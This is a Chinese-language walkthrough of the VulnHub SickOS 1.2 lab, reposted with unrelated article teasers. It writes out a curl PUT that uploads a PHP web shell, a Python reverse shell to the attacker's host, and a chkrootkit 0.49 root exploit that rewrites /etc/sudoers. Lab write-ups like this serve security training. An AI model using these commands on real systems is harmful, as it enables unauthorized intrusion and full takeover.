vulnhub-----SickOS靶机

文章目录

  • 1.信息收集
  • 2.curl命令
  • 反弹shell
  • 提权
    • 利用POC

1.信息收集

┌──(root㉿kali)-[~/kali/vulnhub/sockos]
└─# arp-scan -l                            
Interface: eth0, type: EN10MB, MAC: 00:0c:29:10:3c:9b, IPv4: 10.10.10.10
Starting arp-scan 1.9.8 with 256 hosts (https://github.com/royhills/arp-scan)
10.10.10.1      00:50:56:c0:00:08       VMware, Inc.
10.10.10.2      00:50:56:e8:39:64       VMware, Inc.
10.10.10.12     00:0c:29:dc:3f:fe       VMware, Inc.
10.10.10.240    00:50:56:e4:2e:a9       VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.8: 256 hosts scanned in 1.988 seconds (128.77 hosts/sec). 4 responded
┌──(root㉿kali)-[~/kali/vulnhub/sockos]
└─# nmap -p- 10.10.10.12 --min-rate 10000
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-17 02:15 EDT
Stats: 0:00:03 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 29.20% done; ETC: 02:15 (0:00:10 remaining)
Nmap scan report for 10.10.10.12
Host is up (0.0012s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 00:0C:29:DC:3F:FE (VMware)

Nmap done: 1 IP address (1 host up) scanned in 13.43 seconds

┌──(root㉿kali)-[~]
└─# nmap -sC -sV -O 10.10.10.12          
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-17 02:15 EDT
sendto in send_ip_packet_sd: sendto(6, packet, 44, 0, 10.10.10.12, 16) => Operation not permitted
Offending packet: TCP 10.10.10.10:42045 > 10.10.10.12:9535 S ttl=55 id=50019 iplen=44  seq=823711596 win=1024 <mss 1460>
Nmap scan report for 10.10.10.12
Host is up (0.0013s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 668cc0f2857c6cc0f6ab7d480481c2d4 (DSA)
|   2048 ba86f5eecc83dfa63ffdc134bb7e62ab (RSA)
|_  256 a16cfa18da571d332c52e4ec97e29eaf (ECDSA)
80/tcp open  http    lighttpd 1.4.28
|_http-server-header: lighttpd/1.4.28
|_http-title: Site doesn't have a title (text/html).
MAC Address: 00:0C:29:DC:3F:FE (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.16 - 4.6, Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.63 seconds

只开放了80和22端口,而80端口是lighttpd 1.4.28版本,上网搜索漏洞,无果

目录扫描,扫描到test目录,

┌──(root㉿kali)-[~]
└─# dirsearch -u "http://10.10.10.12" -x 403,404,500

  _|. _ _  _  _  _ _|_    v0.4.3                                                        
 (_||| _) (/_(_|| (_| )                                                                 
                                                                                        
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25
Wordlist size: 11460

Output File: /root/reports/http_10.10.10.12/_24-03-17_02-18-53.txt

Target: http://10.10.10.12/

[02:18:53] Starting:                                                                    
[02:19:38] 200 -    2KB - /test/                                            
[02:19:38] 301 -    0B  - /test  ->  http://10.10.10.12/test/               
                                                                             
Task Completed 

2.curl命令

使用curl查看test命令。支持哪些请求方式

┌──(root㉿kali)-[~]
└─# curl -v -X OPTIONS http://10.10.10.12/test/                 
*   Trying 10.10.10.12:80...
* Connected to 10.10.10.12 (10.10.10.12) port 80 (#0)
> OPTIONS /test/ HTTP/1.1
> Host: 10.10.10.12
> User-Agent: curl/7.85.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< DAV: 1,2
< MS-Author-Via: DAV
< Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK
< Allow: OPTIONS, GET, HEAD, POST
< Content-Length: 0
< Date: Sun, 17 Mar 2024 06:21:32 GMT
< Server: lighttpd/1.4.28
< 
* Connection #0 to host 10.10.10.12 left intact

发现支持PUT传输,就可以上传恶意文件

┌──(root㉿kali)-[~]
└─# curl -v -X PUT -H "Content-Type: application/x-http-php" -d "<?php system($_GET["c"]);?>" http://10.10.10.12/test/hacker.php
*   Trying 10.10.10.12:80...
* Connected to 10.10.10.12 (10.10.10.12) port 80 (#0)
> PUT /test/hacker.php HTTP/1.1
> Host: 10.10.10.12
> User-Agent: curl/7.85.0
> Accept: */*
> Content-Length: 17
> Content-Type: application/x-www-form-urlencoded
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 201 Created
< Content-Length: 0
< Date: Sun, 17 Mar 2024 06:23:47 GMT
< Server: lighttpd/1.4.28
< 
* Connection #0 to host 10.10.10.12 left intact

看木马文件是否可以访问

┌──(root㉿kali)-[~]
└─# curl -X GET http://10.10.10.12/test/hacker.php\?cmd=whoami
www-data

反弹shell

export RHOST="10.10.10.10";export RPORT=443;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

IP端口改一下

访问http://10.10.10.12/test/hacker.php?cmd=export%20RHOST=%2210.10.10.10%22;export%20RPORT=443;python%20-c%20%27import%20sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(%22RHOST%22),int(os.getenv(%22RPORT%22))));[os.dup2(s.fileno(),fd)%20for%20fd%20in%20(0,1,2)];pty.spawn(%22/bin/bash%22)%27
本地监听443端口(其他端口不行,防火墙过滤)

在这里插入图片描述

提权

查看suid
在这里插入图片描述

查看定时任务
在这里插入图片描述
发现chkrootkit,查看版本

chkrootkit -V
chkrootkit version 0.49

searchsploit 搜索chkrootkit

┌──(root㉿kali)-[~/kali/vulnhub/sockos]
└─# searchsploit chkrootkit                             
------------------------------------------------------ ---------------------------------
 Exploit Title                                        |  Path
------------------------------------------------------ ---------------------------------
Chkrootkit - Local Privilege Escalation (Metasploit)  | linux/local/38775.rb
Chkrootkit 0.49 - Local Privilege Escalation          | linux/local/33899.txt
------------------------------------------------------ ---------------------------------
Shellcodes: No Results
                                                                                        
┌──(root㉿kali)-[~/kali/vulnhub/sockos]
└─# searchsploit -m 33899.txt
  Exploit: Chkrootkit 0.49 - Local Privilege Escalation
      URL: https://www.exploit-db.com/exploits/33899
     Path: /usr/share/exploitdb/exploits/linux/local/33899.txt
    Codes: CVE-2014-0476, OSVDB-107710
 Verified: True
File Type: ASCII text
Copied to: /root/kali/vulnhub/sockos/33899.txt`
┌──(root㉿kali)-[~/kali/vulnhub/sockos]
└─# cat 33899.txt         
We just found a serious vulnerability in the chkrootkit package, which
may allow local attackers to gain root access to a box in certain
configurations (/tmp not mounted noexec).

The vulnerability is located in the function slapper() in the
shellscript chkrootkit:

#
# SLAPPER.{A,B,C,D} and the multi-platform variant
#
slapper (){
   SLAPPER_FILES="${ROOTDIR}tmp/.bugtraq ${ROOTDIR}tmp/.bugtraq.c"
   SLAPPER_FILES="$SLAPPER_FILES ${ROOTDIR}tmp/.unlock ${ROOTDIR}tmp/httpd \
   ${ROOTDIR}tmp/update ${ROOTDIR}tmp/.cinik ${ROOTDIR}tmp/.b"a
   SLAPPER_PORT="0.0:2002 |0.0:4156 |0.0:1978 |0.0:1812 |0.0:2015 "
   OPT=-an
   STATUS=0
   file_port=

   if ${netstat} "${OPT}"|${egrep} "^tcp"|${egrep} "${SLAPPER_PORT}">
/dev/null 2>&1
      then
      STATUS=1
      [ "$SYSTEM" = "Linux" ] && file_port=`netstat -p ${OPT} | \
         $egrep ^tcp|$egrep "${SLAPPER_PORT}" | ${awk} '{ print  $7 }' |
tr -d :`
   fi
   for i in ${SLAPPER_FILES}; do
      if [ -f ${i} ]; then
         file_port=$file_port $i
         STATUS=1
      fi
   done
   if [ ${STATUS} -eq 1 ] ;then
      echo "Warning: Possible Slapper Worm installed ($file_port)"
   else
      if [ "${QUIET}" != "t" ]; then echo "not infected"; fi
         return ${NOT_INFECTED}
   fi
}


The line 'file_port=$file_port $i' will execute all files specified in
$SLAPPER_FILES as the user chkrootkit is running (usually root), if
$file_port is empty, because of missing quotation marks around the
variable assignment.

Steps to reproduce:

- Put an executable file named 'update' with non-root owner in /tmp (not
mounted noexec, obviously)
- Run chkrootkit (as uid 0)

Result: The file /tmp/update will be executed as root, thus effectively
rooting your box, if malicious content is placed inside the file.

If an attacker knows you are periodically running chkrootkit (like in
cron.daily) and has write access to /tmp (not mounted noexec), he may
easily take advantage of this.


Suggested fix: Put quotation marks around the assignment.

file_port="$file_port $i"


I will also try to contact upstream, although the latest version of
chkrootkit dates back to 2009 - will have to see, if I reach a dev there.

利用POC

- Put an executable file named 'update' with non-root owner in /tmp (not
mounted noexec, obviously)
- Run chkrootkit (as uid 0)

Result: The file /tmp/update will be executed as root, thus effectively
rooting your box, if malicious content is placed inside the file.

If an attacker knows you are periodically running chkrootkit (like in
cron.daily) and has write access to /tmp (not mounted noexec), he may
easily take advantage of this.
  • 将名为“update”的非根所有者的可执行文件放在/tmp中.- 运行chkrootkit(作为uid 0) 结果:文件/tmp/update将以root身份执行,从而有效地 如果恶意内容被放置在文件中, 如果攻击者知道您定期运行chkrootkit(如 daily)并且具有对/tmp(未挂载noexec)的写访问权限,他可以 很容易利用这个。

chmod +w /etc/sudoers:修改 /etc/sudoers 文件的权限,使其可写。
echo “www-data ALL=(ALL) NOPASSWD:ALL” > /etc/sudoers:将 www-data 用户添加到 /etc/sudoers 文件中,允许该用户在不需要密码的情况下执行任何命令

www-data@ubuntu:/var/www/test$ cd /tmp
cd /tmp
www-data@ubuntu:/tmp$ ls
ls
VMwareDnD  php.socket-0  vgauthsvclog.txt.0  vmware-root
www-data@ubuntu:/tmp$ touch update
touch update
www-data@ubuntu:/tmp$ chmod +x update
chmod +x update
www-data@ubuntu:/tmp$ echo 'chmod +w /etc/sudoers && echo "www-data ALL=(ALL)  NOPASSWD:ALL" > /etc/sudoers' > /tmp/update

www-data@ubuntu:/tmp$ sudo su root
sudo su root

root@ubuntu:/tmp# cd /root
cd /root
root@ubuntu:~# ls
ls
304d840d52840689e0ab0af56d6d3a18-chkrootkit-0.49.tar.gz  chkrootkit-0.49
7d03aaa2bf93d80040f3f22ec6ad9d5a.txt                     newRule
root@ubuntu:~# cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
WoW! If you are viewing this, You have "Sucessfully!!" completed SickOs1.2, the challenge is more focused on elimination of tool in real scenarios where tools can be blocked during an assesment and thereby fooling tester(s), gathering more information about the target using different methods, though while developing many of the tools were limited/completely blocked, to get a feel of Old School and testing it manually.

Thanks for giving this try.

@vulnhub: Thanks for hosting this UP!.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/471973.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

小米汽车定价较预期下调3万至5万,发布之前仍有可能微调

跨界造车的新势力小米汽车正逐渐揭开其神秘面纱。最新爆料显示&#xff0c;小米汽车内部对车辆的定价进行了讨论&#xff0c;较之前的预期下调了3万至5万的幅度。然而&#xff0c;在正式发布之前&#xff0c;这一价格仍有可能进行微调。 历经三年的精心筹备&#xff0c;小米汽车…

用Python的turtle库绘制皮卡丘

turtle库的简介 turtle(海龟)库是turtle绘图体系的python实现&#xff0c;turtle库是一种标准库&#xff0c;是python自带的。 turtle(海龟)是一种真实的存在&#xff0c;有一个海龟在窗口的正中心&#xff0c;在画布上游走&#xff0c;走过的轨迹形成了绘制的图形&#xff0…

vr虚拟现实游戏世界介绍|数字文化展览|VR元宇宙文旅

虚拟现实&#xff08;VR&#xff09;游戏世界是一种通过虚拟现实技术创建的沉浸式游戏体验&#xff0c;玩家可以穿上VR头显&#xff0c;仿佛置身于游戏中的虚拟世界中。这种技术让玩家能够全方位、身临其境地体验游戏&#xff0c;与游戏中的环境、角色和物体互动。 在虚拟现实游…

如何快速搭建一个完整的vue2+element-ui的项目-二

技术细节-继续配置 提示&#xff1a;你以为这样就完了吗,其实还有很多东西需要我们自己手写的 例如&#xff1a; element-ui的配置样式重置配置src使用的配置elinst配置axios异步请求的二次封转配置语言国际化配置(这个看需求,我这里就不用配置了)vuex的配置mixins的配置开发环…

2万多个手机壁纸电脑壁纸图片ACCESS\EXCEL数据库

图片类的大数据我记得有《4万多论坛头像个性头像》、《近3万个斗图头像图片大全》、《近5000张趣图有趣GIF动画图》、《8千多JPG趣图内涵段子图》&#xff0c;但是比起今天的壁纸大全数据库来说&#xff0c;容量方面又不是很大&#xff0c;今天搞到的手机静态壁纸虽然记录数才2…

FreeRtos中段管理-----参考正点原子

什麽是中断&#xff1f; 让CPU打断正常运行的程序&#xff0c;转而去处理紧急的事件&#xff08;程序&#xff09;&#xff0c;就叫中断 中断执行机制&#xff0c;可简单概括为三步&#xff1a; 1&#xff0c;中断请求&#xff1a;外设产生中断请求&#xff08;GPIO外部中断、定…

基于springboot+vue的社区养老服务系统

博主主页&#xff1a;猫头鹰源码 博主简介&#xff1a;Java领域优质创作者、CSDN博客专家、阿里云专家博主、公司架构师、全网粉丝5万、专注Java技术领域和毕业设计项目实战&#xff0c;欢迎高校老师\讲师\同行交流合作 ​主要内容&#xff1a;毕业设计(Javaweb项目|小程序|Pyt…

常用负载均衡详解

一、介绍 在互联网场景下&#xff0c;负载均衡&#xff08;Load Balance&#xff09;是分布式系统架构设计中必须考虑的一个环节&#xff0c;它通常是指将负载流量&#xff08;工作任务、访问请求&#xff09;平衡、分摊到多个操作单元&#xff08;服务器、组件&#xff09;上去…

【spring】@Conditional注解学习

Conditional介绍 Conditional注解用于按照设定的条件进行判断&#xff0c;从而决定是否将某个bean注册到Spring容器中。 Conditional注解是在Spring 4.0版本中引入的&#xff0c;它提供了一种更加灵活的方式来控制bean的创建和注册。在此之前&#xff0c;开发者通常使用Profi…

[Redis]——Redis持久化的两种方式RDB、AOF

目录 RDB快照模式 概念&#xff1a; 触发时机&#xff1a; 异步做快照 AOF追加模式 概念&#xff1a; 触发时机&#xff1a; bgrewriteaof命令&#xff1a; 比较两种模式&#xff1a; RDB快照模式 概念&#xff1a; RDB模式就是保存当前Redis的状态到本地磁盘文件&am…

综合应用题——线性表的链式表示(每日更新中...)

一、练习题 01题 在带头结点的单链表L中&#xff0c;删除所有值为x的结点&#xff0c;并释放其空间&#xff0c;假设值为x的结点不唯一&#xff0c;试编写算法以实现上述操作。 【解法1】用p从头至尾扫描单链表&#xff0c;pre指向*p结点的前驱。若p所指结点的值为x&#xf…

【堆、位运算、数学】算法例题

目录 十九、堆 121. 数组中的第K个最大元素 ② 122. IPO ③ 123. 查找和最小的K对数字 ② 124. 数据流的中位数 ③ 二十、位运算 125. 二进制求和 ① 126. 颠倒二进制位 ① 127. 位1的个数 ① 128. 只出现一次的数字 ① 129. 只出现一次的数字 II ② 130. 数字范围…

MATLAB:函数与数值积分

一、数学函数图像的绘制 clc,clear fh (x)2*exp(-x).*sin(x); Xrange [0,8]; gx (x)3*exp(-x)*0.8.*sin(x); fplot(fh,Xrange,r-*,LineWidth,1.5) hold on grid on fplot(gx,Xrange,b-o,LineWidth,1.5) axis([-0.5,8.5,-0.1,0.85]) legend(fh (x)2*exp(-x).*sin(x),gx (x…

【笔记】用三角函数拟合数据(最小二乘法)

0.Matlab自带函数拟合 用三角函数拟合数据简单方便,matlab自带的fittype函数即可完成拟合任务,但是fittype函数仅限于matlab,为了搞懂fittype函数的内含,自己写了一套函数用于拟合。 如下图所示,现有一不规则散点,命令用三角函数拟合,拟合的目标频率w0为0.01m^-1 拟合…

模型部署——RKNN模型量化精度分析及混合量化提高精度

模型部署——RKNN模型量化精度分析及混合量化提高精度&#xff08;附代码&#xff09;-CSDN博客 3.1 量化精度分析流程 计算不同情况下&#xff0c;同一层网络输入值的余弦距离&#xff0c;来近似的查看每一层精度损失的情况。具体量化精度分析的流程如下&#xff1a; 3.2 量…

闪存盘上被删除的文件能被回收站恢复吗?

随着数字设备的普及&#xff0c;闪存盘作为一种便携式的存储设备&#xff0c;已经深入到了我们的日常生活和工作中。然而&#xff0c;在使用闪存盘的过程中&#xff0c;我们可能会不小心删除一些重要的文件。这时&#xff0c;很多人会寄希望于回收站来恢复这些文件。但是&#…

Flutter开发入门——路由

什么是路由&#xff1f; 移动端应用开发中&#xff0c;路由技术是一个非常重要的组成部分。路由技术负责管理应用中各个页面之间的跳转、导航以及参数传递等关键功能。在移动端应用中&#xff0c;一个高效、易于维护的路由系统对于提高开发效率和用户体验具有重要意义。 Flut…

基于Java中的SSM框架实现医院院内物资管理系统项目【项目源码+论文说明】

基于Java中的SSM框架实现医院院内物资管理系统演示 摘要 在当今的中国改革开放经济体制下&#xff0c;中国经济正以快速稳健的步伐前行。并且随着经济的发展&#xff0c;各领域的信息化管理也得到了充足的发展&#xff0c;而且愈发普及。现如今&#xff0c;几乎所有的行业中都…

机器学习_自我总结

文章目录 简介优化算法的方法诊断偏差和方差 简介 我只是一个小白,很多东西写不好,也不是很懂只是记一下笔记对自己的映像更深,也希望有人能够指导我学习(谢谢!) 优化算法的方法 (1)修改学习速率,还有各种(可变)参数1.尝试减少特征的数量2.尝试获得更多的特征3.尝试增加多项…

elment-ui el-tabs组件 每次点击后 created方法都会执行2次

先看错误的 日志打印: 错误的代码如下: 正确的日志打印: 正确的代码如下: 前言: 在element-ui的tabs组件中,我们发现每次切换页面,所有的子组件都会重新渲染一次。当子页面需要发送数据请求并且子页面过多时,这样会过多的占用网络资源。这里我们可以使用 v-if 来进行…